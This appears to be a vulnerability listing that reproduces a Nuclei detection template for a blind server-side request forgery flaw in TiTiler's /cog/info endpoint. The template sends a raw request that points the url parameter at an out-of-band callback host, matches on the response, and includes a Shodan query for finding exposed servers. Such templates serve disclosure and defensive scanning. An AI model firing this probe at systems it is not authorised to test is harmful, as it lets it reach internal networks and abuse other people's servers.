titiler-ssrf: TiTiler - Blind Server Side Request Forgery

2025-08-01 TiTiler PoC Public

Description

Blind SSRF vulnerability in TiTiler, a dynamic tile server for Cloud Optimized GeoTIFFs (COGs). The flaw lies in how the application handles the url parameter in the /cog/info endpoint, allowing attackers to make arbitrary internal or external HTTP requests.

PoC

id: titiler-ssrf

info:
  name: TiTiler - Blind Server Side Request Forgery
  author: xbow,DhiyaneshDK
  severity: high
  description: |
    Blind SSRF vulnerability in TiTiler, a dynamic tile server for Cloud Optimized GeoTIFFs (COGs). The flaw lies in how the application handles the url parameter in the /cog/info endpoint, allowing attackers to make arbitrary internal or external HTTP requests.
  reference:
    - https://xbow.com/blog/xbow-titiler-lfi/
  classification:
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"TiTiler"
  tags: titiler,oast,obb,ssrf,vuln

http:
  - raw:
      - |
        GET /cog/info?url=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "<imageAttributes> in document")'
        condition: and
# digest: 490a00463044022012b96ad80a95b9d69b70ddf72019f44e54242e1a20eb398d95a2899bcff24bfd0220604f477f5da7b998e6b6281be0ea7afa145ce09b5fd79fab6ccf593b5cb862cb:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/titiler-ssrf.yaml

References

Related Vulnerabilities